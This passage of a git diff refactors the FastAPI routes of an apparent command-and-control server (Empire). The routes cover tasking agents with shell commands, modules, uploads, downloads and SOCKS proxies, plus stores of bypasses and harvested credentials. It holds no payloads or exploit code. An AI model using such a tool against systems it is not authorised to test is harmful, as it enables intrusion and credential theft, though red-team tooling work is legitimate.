async def get_task(
- uid: int, db: Session = Depends(get_db), db_agent: models.Agent = Depends(get_agent)
+ uid: int, db: CurrentSession, db_agent: models.Agent = Depends(get_agent)
):
task = agent_task_service.get_task_for_agent(db, db_agent.session_id, uid)
@@ -90,20 +91,20 @@ async def get_task(
@router.get("/tasks", response_model=AgentTasks)
async def read_tasks_all_agents(
+ db: CurrentSession,
limit: int = -1,
page: int = 1,
include_full_input: bool = False,
include_original_output: bool = False,
include_output: bool = True,
- since: Optional[datetime] = None,
+ since: datetime | None = None,
order_by: AgentTaskOrderOptions = AgentTaskOrderOptions.id,
order_direction: OrderDirection = OrderDirection.desc,
- status: Optional[AgentTaskStatus] = None,
- agents: Optional[List[str]] = Query(None),
- users: Optional[List[int]] = Query(None),
- tags: Optional[List[TagStr]] = Query(None),
- query: Optional[str] = None,
- db: Session = Depends(get_db),
+ status: AgentTaskStatus | None = None,
+ agents: list[str] | None = Query(None),
+ users: list[int] | None = Query(None),
+ tags: list[TagStr] | None = Query(None),
+ query: str | None = None,
):
tasks, total = agent_task_service.get_tasks(
db,
@@ -122,14 +123,12 @@ async def read_tasks_all_agents(
q=query,
)
- tasks_converted = list(
- map(
- lambda x: domain_to_dto_task(
- x, include_full_input, include_original_output, include_output
- ),
- tasks,
+ tasks_converted = [
+ domain_to_dto_task(
+ x, include_full_input, include_original_output, include_output
)
- )
+ for x in tasks
+ ]
return AgentTasks(
records=tasks_converted,
@@ -142,20 +141,20 @@ async def read_tasks_all_agents(
@router.get("/{agent_id}/tasks", response_model=AgentTasks)
async def read_tasks(
+ db: CurrentSession,
limit: int = -1,
page: int = 1,
include_full_input: bool = False,
include_original_output: bool = False,
include_output: bool = True,
- since: Optional[datetime] = None,
+ since: datetime | None = None,
order_by: AgentTaskOrderOptions = AgentTaskOrderOptions.id,
order_direction: OrderDirection = OrderDirection.desc,
- status: Optional[AgentTaskStatus] = None,
- users: Optional[List[int]] = Query(None),
- tags: Optional[List[TagStr]] = Query(None),
- db: Session = Depends(get_db),
+ status: AgentTaskStatus | None = None,
+ users: list[int] | None = Query(None),
+ tags: list[TagStr] | None = Query(None),
db_agent: models.Agent = Depends(get_agent),
- query: Optional[str] = None,
+ query: str | None = None,
):
tasks, total = agent_task_service.get_tasks(
db,
@@ -174,14 +173,12 @@ async def read_tasks(
q=query,
)
- tasks_converted = list(
- map(
- lambda x: domain_to_dto_task(
- x, include_full_input, include_original_output, include_output
- ),
- tasks,
+ tasks_converted = [
+ domain_to_dto_task(
+ x, include_full_input, include_original_output, include_output
)
- )
+ for x in tasks
+ ]
return AgentTasks(
records=tasks_converted,
@@ -195,7 +192,7 @@ async def read_tasks(
@router.get("/{agent_id}/tasks/{uid}", response_model=AgentTask)
async def read_task(
uid: int,
- db: Session = Depends(get_db),
+ db: CurrentSession,
db_agent: models.Agent = Depends(get_agent),
db_task: models.AgentTask = Depends(get_task),
):
@@ -207,9 +204,9 @@ async def read_task(
@router.post("/{agent_id}/tasks/jobs", response_model=AgentTask)
async def create_task_jobs(
+ db: CurrentSession,
+ current_user: CurrentUser,
db_agent: models.Agent = Depends(get_agent),
- db: Session = Depends(get_db),
- current_user: models.User = Depends(get_current_user),
):
resp, err = agent_task_service.create_task_jobs(db, db_agent, current_user.id)
@@ -219,9 +216,9 @@ async def create_task_jobs(
@router.post("/{agent_id}/tasks/kill_job", response_model=AgentTask)
async def create_task_kill_job(
jobs: KillJobPostRequest,
+ db: CurrentSession,
+ current_user: CurrentUser,
db_agent: models.Agent = Depends(get_agent),
- db: Session = Depends(get_db),
- current_user: models.User = Depends(get_current_user),
):
kill_job = str(jobs.id)
resp, err = agent_task_service.create_task_kill_job(
@@ -234,9 +231,9 @@ async def create_task_kill_job(
@router.post("/{agent_id}/tasks/shell", status_code=201, response_model=AgentTask)
async def create_task_shell(
shell_request: ShellPostRequest,
+ db: CurrentSession,
+ current_user: CurrentUser,
db_agent: models.Agent = Depends(get_agent),
- db: Session = Depends(get_db),
- current_user: models.User = Depends(get_current_user),
):
"""
Executes a command on the agent. If literal is true, it will ignore the built-in aliases
@@ -255,9 +252,9 @@ async def create_task_shell(
@router.post("/{agent_id}/tasks/module", status_code=201, response_model=AgentTask)
async def create_task_module(
module_request: ModulePostRequest,
+ db: CurrentSession,
+ current_user: CurrentUser,
db_agent: models.Agent = Depends(get_agent),
- db: Session = Depends(get_db),
- current_user: models.User = Depends(get_current_user),
):
resp, err = agent_task_service.create_task_module(
db, db_agent, module_request, current_user.id
@@ -272,9 +269,9 @@ async def create_task_module(
@router.post("/{agent_id}/tasks/upload", status_code=201, response_model=AgentTask)
async def create_task_upload(
upload_request: UploadPostRequest,
+ db: CurrentSession,
+ current_user: CurrentUser,
db_agent: models.Agent = Depends(get_agent),
- db: Session = Depends(get_db),
- current_user: models.User = Depends(get_current_user),
):
download = download_service.get_by_id(db, upload_request.file_id)
@@ -312,9 +309,9 @@ async def create_task_upload(
@router.post("/{agent_id}/tasks/download", status_code=201, response_model=AgentTask)
async def create_task_download(
download_request: DownloadPostRequest,
+ db: CurrentSession,
+ current_user: CurrentUser,
db_agent: models.Agent = Depends(get_agent),
- db: Session = Depends(get_db),
- current_user: models.User = Depends(get_current_user),
):
resp, err = agent_task_service.create_task_download(
db, db_agent, download_request.path_to_file, current_user.id
@@ -330,10 +327,10 @@ async def create_task_download(
"/{agent_id}/tasks/script_import", status_code=201, response_model=AgentTask
)
async def create_task_script_import(
+ db: CurrentSession,
+ current_user: CurrentUser,
file: UploadFile = File(...),
db_agent: models.Agent = Depends(get_agent),
- db: Session = Depends(get_db),
- current_user: models.User = Depends(get_current_user),
):
file_data = await file.read()
file_data = file_data.decode("utf-8")
@@ -352,9 +349,9 @@ async def create_task_script_import(
)
async def create_task_script_command(
script_command_request: ScriptCommandPostRequest,
+ db: CurrentSession,
+ current_user: CurrentUser,
db_agent: models.Agent = Depends(get_agent),
- db: Session = Depends(get_db),
- current_user: models.User = Depends(get_current_user),
):
"""
For python agents, this will run a script on the agent.
@@ -379,9 +376,9 @@ async def create_task_script_command(
@router.post("/{agent_id}/tasks/sysinfo", status_code=201, response_model=AgentTask)
async def create_task_sysinfo(
sysinfo_request: SysinfoPostRequest,
+ db: CurrentSession,
+ current_user: CurrentUser,
db_agent: models.Agent = Depends(get_agent),
- db: Session = Depends(get_db),
- current_user: models.User = Depends(get_current_user),
):
resp, err = agent_task_service.create_task_sysinfo(db, db_agent, current_user.id)
@@ -396,9 +393,9 @@ async def create_task_sysinfo(
)
async def create_task_update_comms(
comms_request: CommsPostRequest,
+ db: CurrentSession,
+ current_user: CurrentUser,
db_agent: models.Agent = Depends(get_agent),
- db: Session = Depends(get_db),
- current_user: models.User = Depends(get_current_user),
):
resp, err = agent_task_service.create_task_update_comms(
db, db_agent, comms_request.new_listener_id, current_user.id
@@ -413,9 +410,9 @@ async def create_task_update_comms(
@router.post("/{agent_id}/tasks/sleep", status_code=201, response_model=AgentTask)
async def create_task_update_sleep(
sleep_request: SleepPostRequest,
+ db: CurrentSession,
+ current_user: CurrentUser,
db_agent: models.Agent = Depends(get_agent),
- db: Session = Depends(get_db),
- current_user: models.User = Depends(get_current_user),
):
resp, err = agent_task_service.create_task_update_sleep(
db, db_agent, sleep_request.delay, sleep_request.jitter, current_user.id
@@ -430,9 +427,9 @@ async def create_task_update_sleep(
@router.post("/{agent_id}/tasks/kill_date", status_code=201, response_model=AgentTask)
async def create_task_update_kill_date(
kill_date_request: KillDatePostRequest,
+ db: CurrentSession,
+ current_user: CurrentUser,
db_agent: models.Agent = Depends(get_agent),
- db: Session = Depends(get_db),
- current_user: models.User = Depends(get_current_user),
):
resp, err = agent_task_service.create_task_update_kill_date(
db, db_agent, kill_date_request.kill_date, current_user.id
@@ -449,9 +446,9 @@ async def create_task_update_kill_date(
)
async def create_task_update_working_hours(
working_hours_request: WorkingHoursPostRequest,
+ db: CurrentSession,
+ current_user: CurrentUser,
db_agent: models.Agent = Depends(get_agent),
- db: Session = Depends(get_db),
- current_user: models.User = Depends(get_current_user),
):
resp, err = agent_task_service.create_task_update_working_hours(
db, db_agent, working_hours_request.working_hours, current_user.id
@@ -468,9 +465,9 @@ async def create_task_update_working_hours(
)
async def create_task_update_directory_list(
directory_list_request: DirectoryListPostRequest,
+ db: CurrentSession,
+ current_user: CurrentUser,
db_agent: models.Agent = Depends(get_agent),
- db: Session = Depends(get_db),
- current_user: models.User = Depends(get_current_user),
):
resp, err = agent_task_service.create_task_directory_list(
db, db_agent, directory_list_request.path, current_user.id
@@ -485,9 +482,9 @@ async def create_task_update_directory_list(
@router.post("/{agent_id}/tasks/proxy_list", status_code=201, response_model=AgentTask)
async def create_task_update_proxy_list(
proxy_list_request: ProxyListPostRequest,
+ db: CurrentSession,
+ current_user: CurrentUser,
db_agent: models.Agent = Depends(get_agent),
- db: Session = Depends(get_db),
- current_user: models.User = Depends(get_current_user),
):
# We have to use a string enum to get the api to accept strings
# then convert to int manually. Agent code could be refactored to just
@@ -508,9 +505,9 @@ async def create_task_update_proxy_list(
@router.post("/{agent_id}/tasks/exit", status_code=201, response_model=AgentTask)
async def create_task_exit(
exit_request: ExitPostRequest,
+ db: CurrentSession,
+ current_user: CurrentUser,
db_agent: models.Agent = Depends(get_agent),
- db: Session = Depends(get_db),
- current_user: models.User = Depends(get_current_user),
):
resp, err = agent_task_service.create_task_exit(db, db_agent, current_user.id)
@@ -525,7 +522,7 @@ async def create_task_exit(
)
async def delete_task(
uid: int,
- db: Session = Depends(get_db),
+ db: CurrentSession,
db_task: models.AgentTask = Depends(get_task),
):
if db_task.status != AgentTaskStatus.queued:
@@ -539,9 +536,9 @@ async def delete_task(
@router.post("/{agent_id}/tasks/socks", status_code=201, response_model=AgentTask)
async def create_task_socks(
socks: SocksPostRequest,
+ db: CurrentSession,
+ current_user: CurrentUser,
db_agent: models.Agent = Depends(get_agent),
- db: Session = Depends(get_db),
- current_user: models.User = Depends(get_current_user),
):
if is_port_in_use(socks.port):
raise HTTPException(status_code=400, detail="Socks port is in use")
diff --git a/empire/server/api/v2/agent/agent_task_dto.py b/empire/server/api/v2/agent/agent_task_dto.py
index 7500ef414..5be2212cc 100644
--- a/empire/server/api/v2/agent/agent_task_dto.py
+++ b/empire/server/api/v2/agent/agent_task_dto.py
@@ -1,6 +1,5 @@
from datetime import datetime
from enum import Enum
-from typing import Dict, List, Optional, Union
from pydantic import BaseModel, Field
@@ -34,38 +33,36 @@ def domain_to_dto_task(
user_id=task.user_id,
username=None if not task.user else task.user.username,
agent_id=task.agent_id,
- downloads=list(
- map(lambda x: domain_to_dto_download_description(x), task.downloads)
- ),
+ downloads=[domain_to_dto_download_description(x) for x in task.downloads],
module_name=task.module_name,
task_name=task.task_name,
status=task.status,
created_at=task.created_at,
updated_at=task.updated_at,
- tags=list(map(lambda x: domain_to_dto_tag(x), task.tags)),
+ tags=[domain_to_dto_tag(x) for x in task.tags],
)
class AgentTask(BaseModel):
id: int
input: str
- full_input: Optional[str]
- output: Optional[str]
- original_output: Optional[str]
- user_id: Optional[int]
- username: Optional[str]
+ full_input: str | None = None
+ output: str | None = None
+ original_output: str | None = None
+ user_id: int | None = None
+ username: str | None = None
agent_id: str
- downloads: List[DownloadDescription]
- module_name: Optional[str]
- task_name: Optional[str]
+ downloads: list[DownloadDescription]
+ module_name: str | None = None
+ task_name: str | None = None
status: models.AgentTaskStatus
created_at: datetime
updated_at: datetime
- tags: List[Tag]
+ tags: list[Tag]
class AgentTasks(BaseModel):
- records: List[AgentTask]
+ records: list[AgentTask]
limit: int
page: int
total_pages: int
@@ -81,8 +78,8 @@ class ModulePostRequest(BaseModel):
module_id: str
ignore_language_version_check: bool = False
ignore_admin_check: bool = False
- options: Dict[str, Union[str, int, float]]
- modified_input: Optional[str] = None
+ options: dict[str, str | int | float]
+ modified_input: str | None = None
class DownloadPostRequest(BaseModel):
@@ -143,7 +140,7 @@ class ProxyItem(BaseModel):
class ProxyListPostRequest(BaseModel):
- proxies: List[ProxyItem]
+ proxies: list[ProxyItem]
class ExitPostRequest(BaseModel):
diff --git a/empire/server/api/v2/bypass/bypass_api.py b/empire/server/api/v2/bypass/bypass_api.py
index 6318b7b01..f5f5f6aca 100644
--- a/empire/server/api/v2/bypass/bypass_api.py
+++ b/empire/server/api/v2/bypass/bypass_api.py
@@ -1,5 +1,4 @@
from fastapi import Depends, HTTPException
-from sqlalchemy.orm import Session
from starlette.responses import Response
from starlette.status import HTTP_204_NO_CONTENT
@@ -12,7 +11,7 @@
BypassUpdateRequest,
domain_to_dto_bypass,
)
-from empire.server.api.v2.shared_dependencies import get_db
+from empire.server.api.v2.shared_dependencies import CurrentSession
from empire.server.api.v2.shared_dto import BadRequestResponse, NotFoundResponse
from empire.server.core.db import models
from empire.server.server import main
@@ -30,7 +29,7 @@
)
-async def get_bypass(uid: int, db: Session = Depends(get_db)):
+async def get_bypass(uid: int, db: CurrentSession):
bypass = bypass_service.get_by_id(db, uid)
if bypass:
@@ -45,14 +44,14 @@ async def read_bypass(uid: int, db_bypass: models.Bypass = Depends(get_bypass)):
@router.get("/", response_model=Bypasses)
-async def read_bypasses(db: Session = Depends(get_db)):
- bypasses = list(map(lambda x: domain_to_dto_bypass(x), bypass_service.get_all(db)))
+async def read_bypasses(db: CurrentSession):
+ bypasses = [domain_to_dto_bypass(x) for x in bypass_service.get_all(db)]
return {"records": bypasses}
@router.post("/", status_code=201, response_model=Bypass)
-async def create_bypass(bypass_req: BypassPostRequest, db: Session = Depends(get_db)):
+async def create_bypass(bypass_req: BypassPostRequest, db: CurrentSession):
resp, err = bypass_service.create_bypass(db, bypass_req)
if err:
@@ -65,7 +64,7 @@ async def create_bypass(bypass_req: BypassPostRequest, db: Session = Depends(get
async def update_bypass(
uid: int,
bypass_req: BypassUpdateRequest,
- db: Session = Depends(get_db),
+ db: CurrentSession,
db_bypass: models.Bypass = Depends(get_bypass),
):
resp, err = bypass_service.update_bypass(db, db_bypass, bypass_req)
@@ -79,18 +78,18 @@ async def update_bypass(
@router.delete("/{uid}", status_code=HTTP_204_NO_CONTENT, response_class=Response)
async def delete_bypass(
uid: str,
- db: Session = Depends(get_db),
+ db: CurrentSession,
db_bypass: models.Bypass = Depends(get_bypass),
):
bypass_service.delete_bypass(db, db_bypass)
@router.post("/reset", status_code=HTTP_204_NO_CONTENT, response_class=Response)
-async def reset_bypasses(db: Session = Depends(get_db)):
+async def reset_bypasses(db: CurrentSession):
bypass_service.delete_all_bypasses(db)
bypass_service.load_bypasses(db)
@router.post("/reload", status_code=HTTP_204_NO_CONTENT, response_class=Response)
-async def reload_bypasses(db: Session = Depends(get_db)):
+async def reload_bypasses(db: CurrentSession):
bypass_service.load_bypasses(db)
diff --git a/empire/server/api/v2/bypass/bypass_dto.py b/empire/server/api/v2/bypass/bypass_dto.py
index 95f4bc69f..440128b42 100644
--- a/empire/server/api/v2/bypass/bypass_dto.py
+++ b/empire/server/api/v2/bypass/bypass_dto.py
@@ -1,5 +1,4 @@
from datetime import datetime
-from typing import List
from pydantic import BaseModel
@@ -21,7 +20,7 @@ def domain_to_dto_bypass(bypass):
class Bypass(BaseModel):
id: int
name: str
- authors: List[Author]
+ authors: list[Author]
language: str
code: str
created_at: datetime
@@ -29,7 +28,7 @@ class Bypass(BaseModel):
class Bypasses(BaseModel):
- records: List[Bypass]
+ records: list[Bypass]
class BypassUpdateRequest(BaseModel):
diff --git a/empire/server/api/v2/credential/credential_api.py b/empire/server/api/v2/credential/credential_api.py
index 770d4c1f8..8b5e71d7d 100644
--- a/empire/server/api/v2/credential/credential_api.py
+++ b/empire/server/api/v2/credential/credential_api.py
@@ -1,7 +1,4 @@
-from typing import Optional
-
-from fastapi import Depends, HTTPException
-from sqlalchemy.orm import Session
+from fastapi import Depends, HTTPException, Query
from starlette.responses import Response
from starlette.status import HTTP_204_NO_CONTENT
@@ -14,9 +11,10 @@
CredentialUpdateRequest,
domain_to_dto_credential,
)
-from empire.server.api.v2.shared_dependencies import get_db
+from empire.server.api.v2.shared_dependencies import CurrentSession
from empire.server.api.v2.shared_dto import BadRequestResponse, NotFoundResponse
from empire.server.api.v2.tag import tag_api
+from empire.server.api.v2.tag.tag_dto import TagStr
from empire.server.core.db import models
from empire.server.server import main
@@ -33,7 +31,7 @@
)
-async def get_credential(uid: int, db: Session = Depends(get_db)):
+async def get_credential(uid: int, db: CurrentSession):
credential = credential_service.get_by_id(db, uid)
if credential:
@@ -54,16 +52,15 @@ async def read_credential(
@router.get("/", response_model=Credentials)
async def read_credentials(
- db: Session = Depends(get_db),
- search: Optional[str] = None,
- credtype: Optional[str] = None,
+ db: CurrentSession,
+ search: str | None = None,
+ credtype: str | None = None,
+ tags: list[TagStr] | None = Query(None),
):
- credentials = list(
- map(
- lambda x: domain_to_dto_credential(x),
- credential_service.get_all(db, search, credtype),
- )
- )
+ credentials = [
+ domain_to_dto_credential(x)
+ for x in credential_service.get_all(db, search, credtype, tags)
+ ]
return {"records": credentials}
@@ -73,9 +70,7 @@ async def read_credentials(
status_code=201,
response_model=Credential,
)
-async def create_credential(
- credential_req: CredentialPostRequest, db: Session = Depends(get_db)
-):
+async def create_credential(credential_req: CredentialPostRequest, db: CurrentSession):
resp, err = credential_service.create_credential(db, credential_req)
if err:
@@ -88,7 +83,7 @@ async def create_credential(
async def update_credential(
uid: int,
credential_req: CredentialUpdateRequest,
- db: Session = Depends(get_db),
+ db: CurrentSession,
db_credential: models.Credential = Depends(get_credential),
):
resp, err = credential_service.update_credential(db, db_credential, credential_req)
@@ -106,7 +101,7 @@ async def update_credential(
)
async def delete_credential(
uid: str,
- db: Session = Depends(get_db),
+ db: CurrentSession,
db_credential: models.Credential = Depends(get_credential),
):
credential_service.delete_credential(db, db_credential)
diff --git a/empire/server/api/v2/credential/credential_dto.py b/empire/server/api/v2/credential/credential_dto.py
index 598d8c5f2..b8d76cb13 100644
--- a/empire/server/api/v2/credential/credential_dto.py
+++ b/empire/server/api/v2/credential/credential_dto.py
@@ -1,5 +1,4 @@
from datetime import datetime
-from typing import List, Optional
from pydantic import BaseModel
@@ -19,7 +18,7 @@ def domain_to_dto_credential(credential):
notes=credential.notes,
created_at=credential.created_at,
updated_at=credential.updated_at,
- tags=list(map(lambda x: domain_to_dto_tag(x), credential.tags)),
+ tags=[domain_to_dto_tag(x) for x in credential.tags],
)
@@ -30,16 +29,16 @@ class Credential(BaseModel):
username: str
password: str
host: str
- os: Optional[str]
- sid: Optional[str]
- notes: Optional[str]
+ os: str | None = None
+ sid: str | None = None
+ notes: str | None = None
created_at: datetime
updated_at: datetime
- tags: List[Tag]
+ tags: list[Tag]
class Credentials(BaseModel):
- records: List[Credential]
+ records: list[Credential]
class CredentialUpdateRequest(BaseModel):
@@ -51,9 +50,9 @@ class CredentialUpdateRequest(BaseModel):
os: str
sid: str
notes: str
- os: Optional[str]
- sid: Optional[str]
- notes: Optional[str]
+ os: str | None = None
+ sid: str | None = None
+ notes: str | None = None
class CredentialPostRequest(BaseModel):
@@ -62,6 +61,6 @@ class CredentialPostRequest(BaseModel):
username: str
password: str
host: str
- os: Optional[str]
- sid: Optional[str]
- notes: Optional[str]
+ os: str | None = None
+ sid: str | None = None
+ notes: str | None = None
diff --git a/empire/server/api/v2/download/download_api.py b/empire/server/api/v2/download/download_api.py
index a6ff1045f..52aa1d7c5 100644
--- a/empire/server/api/v2/download/download_api.py
+++ b/empire/server/api/v2/download/download_api.py
@@ -1,12 +1,10 @@
import math
-from typing import List, Optional
from fastapi import Depends, File, HTTPException, Query, UploadFile
-from sqlalchemy.orm import Session
from starlette.responses import FileResponse
from empire.server.api.api_router import APIRouter
-from empire.server.api.jwt_auth import get_current_active_user
+from empire.server.api.jwt_auth import CurrentActiveUser, get_current_active_user
from empire.server.api.v2.download.download_dto import (
Download,
DownloadOrderOptions,
@@ -14,7 +12,7 @@
DownloadSourceFilter,
domain_to_dto_download,
)
-from empire.server.api.v2.shared_dependencies import get_db
+from empire.server.api.v2.shared_dependencies import CurrentSession
from empire.server.api.v2.shared_dto import (
BadRequestResponse,
NotFoundResponse,
@@ -38,7 +36,7 @@
)
-async def get_download(uid: int, db: Session = Depends(get_db)):
+async def get_download(uid: int, db: CurrentSession):
download = download_service.get_by_id(db, uid)
if download:
@@ -50,7 +48,7 @@ async def get_download(uid: int, db: Session = Depends(get_db)):
@router.get("/{uid}/download", response_class=FileResponse)
async def download_download(
uid: int,
- db: Session = Depends(get_db),
+ db: CurrentSession,
db_download: models.Download = Depends(get_download),
):
if db_download.filename:
@@ -70,7 +68,7 @@ async def download_download(
)
async def read_download(
uid: int,
- db: Session = Depends(get_db),
+ db: CurrentSession,
db_download: models.Download = Depends(get_download),
):
return domain_to_dto_download(db_download)
@@ -78,14 +76,14 @@ async def read_download(
@router.get("/", response_model=Downloads)
async def read_downloads(
- db: Session = Depends(get_db),
+ db: CurrentSession,
limit: int = -1,
page: int = 1,
order_direction: OrderDirection = OrderDirection.desc,
order_by: DownloadOrderOptions = DownloadOrderOptions.updated_at,
- query: Optional[str] = None,
- sources: Optional[List[DownloadSourceFilter]] = Query(None),
- tags: Optional[List[TagStr]] = Query(None),
+ query: str | None = None,
+ sources: list[DownloadSourceFilter] | None = Query(None),
+ tags: list[TagStr] | None = Query(None),
):
downloads, total = download_service.get_all(
db=db,
@@ -98,7 +96,7 @@ async def read_downloads(
order_direction=order_direction,
)
- downloads_converted = list(map(lambda x: domain_to_dto_download(x), downloads))
+ downloads_converted = [domain_to_dto_download(x) for x in downloads]
return Downloads(
records=downloads_converted,
@@ -111,8 +109,8 @@ async def read_downloads(
@router.post("/", status_code=201, response_model=Download)
async def create_download(
- db: Session = Depends(get_db),
- user: models.User = Depends(get_current_active_user),
+ user: CurrentActiveUser,
+ db: CurrentSession,
file: UploadFile = File(...),
):
return domain_to_dto_download(download_service.create_download(db, user, file))
diff --git a/empire/server/api/v2/download/download_dto.py b/empire/server/api/v2/download/download_dto.py
index ad2156156..1106fda13 100644
--- a/empire/server/api/v2/download/download_dto.py
+++ b/empire/server/api/v2/download/download_dto.py
@@ -1,6 +1,5 @@
from datetime import datetime
from enum import Enum
-from typing import List
from pydantic import BaseModel
@@ -17,7 +16,7 @@ def domain_to_dto_download(download):
size=download.size,
created_at=download.created_at,
updated_at=download.updated_at,
- tags=list(map(lambda x: domain_to_dto_tag(x), download.tags)),
+ tags=[domain_to_dto_tag(x) for x in download.tags],
)
@@ -43,11 +42,11 @@ class Download(BaseModel):
size: int
created_at: datetime
updated_at: datetime
- tags: List[Tag]
+ tags: list[Tag]
class Downloads(BaseModel):
- records: List[Download]
+ records: list[Download]
limit: int
page: int
total_pages: int
diff --git a/empire/server/api/v2/host/host_api.py b/empire/server/api/v2/host/host_api.py
index 3c0199fe6..4cdcc6225 100644
--- a/empire/server/api/v2/host/host_api.py
+++ b/empire/server/api/v2/host/host_api.py
@@ -1,10 +1,9 @@
from fastapi import Depends, HTTPException
-from sqlalchemy.orm import Session
from empire.server.api.api_router import APIRouter
from empire.server.api.jwt_auth import get_current_active_user
from empire.server.api.v2.host.host_dto import Host, Hosts, domain_to_dto_host
-from empire.server.api.v2.shared_dependencies import get_db
+from empire.server.api.v2.shared_dependencies import CurrentSession
from empire.server.api.v2.shared_dto import BadRequestResponse, NotFoundResponse
from empire.server.core.db import models
from empire.server.server import main
@@ -22,7 +21,7 @@
)
-async def get_host(uid: int, db: Session = Depends(get_db)):
+async def get_host(uid: int, db: CurrentSession):
host = host_service.get_by_id(db, uid)
if host:
@@ -37,7 +36,7 @@ async def read_host(uid: int, db_host: models.Host = Depends(get_host)):
@router.get("/", response_model=Hosts)
-async def read_hosts(db: Session = Depends(get_db)):
- hosts = list(map(lambda x: domain_to_dto_host(x), host_service.get_all(db)))
+async def read_hosts(db: CurrentSession):
+ hosts = [domain_to_dto_host(x) for x in host_service.get_all(db)]
return {"records": hosts}
diff --git a/empire/server/api/v2/host/host_dto.py b/empire/server/api/v2/host/host_dto.py
index cfeca87ad..481e1f5a7 100644
--- a/empire/server/api/v2/host/host_dto.py
+++ b/empire/server/api/v2/host/host_dto.py
@@ -1,5 +1,3 @@
-from typing import List
-
from pydantic import BaseModel
@@ -18,4 +16,4 @@ class Host(BaseModel):
class Hosts(BaseModel):
- records: List[Host]
+ records: list[Host]
diff --git a/empire/server/api/v2/host/process_api.py b/empire/server/api/v2/host/process_api.py
index 396dc9180..11d6e1f72 100644
--- a/empire/server/api/v2/host/process_api.py
+++ b/empire/server/api/v2/host/process_api.py
@@ -1,5 +1,4 @@
from fastapi import Depends, HTTPException
-from sqlalchemy.orm import Session
from empire.server.api.api_router import APIRouter
from empire.server.api.jwt_auth import get_current_active_user
@@ -8,7 +7,7 @@
Processes,
domain_to_dto_process,
)
-from empire.server.api.v2.shared_dependencies import get_db
+from empire.server.api.v2.shared_dependencies import CurrentSession
from empire.server.api.v2.shared_dto import BadRequestResponse, NotFoundResponse
from empire.server.core.db import models
from empire.server.server import main
@@ -27,7 +26,7 @@
)
-async def get_host(host_id: int, db: Session = Depends(get_db)):
+async def get_host(host_id: int, db: CurrentSession):
host = host_service.get_by_id(db, host_id)
if host:
@@ -37,7 +36,7 @@ async def get_host(host_id: int, db: Session = Depends(get_db)):
async def get_process(
- uid: int, db: Session = Depends(get_db), db_host: models.Host = Depends(get_host)
+ uid: int, db: CurrentSession, db_host: models.Host = Depends(get_host)
):
process = host_process_service.get_process_for_host(db, db_host, uid)
@@ -55,14 +54,10 @@ async def read_process(uid: int, db_process: models.HostProcess = Depends(get_pr
@router.get("/", response_model=Processes)
-async def read_processes(
- db: Session = Depends(get_db), db_host: models.Host = Depends(get_host)
-):
- processes = list(
- map(
- lambda x: domain_to_dto_process(x),
- host_process_service.get_processes_for_host(db, db_host),
- )
- )
+async def read_processes(db: CurrentSession, db_host: models.Host = Depends(get_host)):
+ processes = [
+ domain_to_dto_process(x)
+ for x in host_process_service.get_processes_for_host(db, db_host)
+ ]
return {"records": processes}
diff --git a/empire/server/api/v2/host/process_dto.py b/empire/server/api/v2/host/process_dto.py
index a484865d1..782176745 100644
--- a/empire/server/api/v2/host/process_dto.py
+++ b/empire/server/api/v2/host/process_dto.py
@@ -1,5 +1,3 @@
-from typing import List, Optional
-
from pydantic import BaseModel
from empire.server.core.db import models
@@ -26,11 +24,11 @@ class Process(BaseModel):
process_id: int
process_name: str
host_id: int
- architecture: Optional[str]
- user: Optional[str]
+ architecture: str | None = None
+ user: str | None = None
stale: bool
- agent_id: Optional[str]
+ agent_id: str | None = None
class Processes(BaseModel):
- records: List[Process]
+ records: list[Process]
diff --git a/empire/server/api/v2/listener/listener_api.py b/empire/server/api/v2/listener/listener_api.py
index 1386e1381..e5d5e1482 100644
--- a/empire/server/api/v2/listener/listener_api.py
+++ b/empire/server/api/v2/listener/listener_api.py
@@ -1,5 +1,4 @@
from fastapi import Depends, HTTPException
-from sqlalchemy.orm import Session
from starlette.responses import Response
from starlette.status import HTTP_204_NO_CONTENT
@@ -12,7 +11,7 @@
ListenerUpdateRequest,
domain_to_dto_listener,
)
-from empire.server.api.v2.shared_dependencies import get_db
+from empire.server.api.v2.shared_dependencies import CurrentSession
from empire.server.api.v2.shared_dto import BadRequestResponse, NotFoundResponse
from empire.server.api.v2.tag import tag_api
from empire.server.core.db import models
@@ -31,7 +30,7 @@
)
-async def get_listener(uid: int, db: Session = Depends(get_db)):
+async def get_listener(uid: int, db: CurrentSession):
listener = listener_service.get_by_id(db, uid)
if listener:
@@ -49,18 +48,14 @@ async def read_listener(uid: int, db_listener: models.Listener = Depends(get_lis
@router.get("/", response_model=Listeners)
-async def read_listeners(db: Session = Depends(get_db)):
- listeners = list(
- map(lambda x: domain_to_dto_listener(x), listener_service.get_all(db))
- )
+async def read_listeners(db: CurrentSession):
+ listeners = [domain_to_dto_listener(x) for x in listener_service.get_all(db)]
return {"records": listeners}
@router.post("/", status_code=201, response_model=Listener)
-async def create_listener(
- listener_req: ListenerPostRequest, db: Session = Depends(get_db)
-):
+async def create_listener(listener_req: ListenerPostRequest, db: CurrentSession):
"""
Note: options['Name'] will be overwritten by name. When v1 api is eventually removed, it wil no longer be needed.
:param listener_req:
@@ -79,7 +74,7 @@ async def create_listener(
async def update_listener(
uid: int,
listener_req: ListenerUpdateRequest,
- db: Session = Depends(get_db),
+ db: CurrentSession,
db_listener: models.Listener = Depends(get_listener),
):
if listener_req.enabled and not db_listener.enabled:
@@ -128,7 +123,7 @@ async def update_listener(
)
async def delete_listener(
uid: int,
- db: Session = Depends(get_db),
+ db: CurrentSession,
db_listener: models.Listener = Depends(get_listener),
):
listener_service.delete_listener(db, db_listener)
diff --git a/empire/server/api/v2/listener/listener_dto.py b/empire/server/api/v2/listener/listener_dto.py
index be1ada240..694134f7d 100644
--- a/empire/server/api/v2/listener/listener_dto.py
+++ b/empire/server/api/v2/listener/listener_dto.py
@@ -1,40 +1,37 @@
from datetime import datetime
-from typing import Dict, List, Optional
-from pydantic import BaseModel
+from pydantic import BaseModel, ConfigDict
-from empire.server.api.v2.shared_dto import Author, CustomOptionSchema, to_value_type
+from empire.server.api.v2.shared_dto import (
+ Author,
+ CustomOptionSchema,
+ coerced_dict,
+ to_value_type,
+)
from empire.server.api.v2.tag.tag_dto import Tag, domain_to_dto_tag
def domain_to_dto_template(listener, uid: str):
- options = dict(
- map(
- lambda x: (
- x[0],
- {
- "description": x[1]["Description"],
- "required": x[1]["Required"],
- "value": x[1]["Value"],
- "strict": x[1]["Strict"],
- "suggested_values": x[1]["SuggestedValues"],
- "value_type": to_value_type(x[1]["Value"], x[1].get("Type")),
- },
- ),
- listener.options.items(),
- )
- )
+ options = {
+ x[0]: {
+ "description": x[1]["Description"],
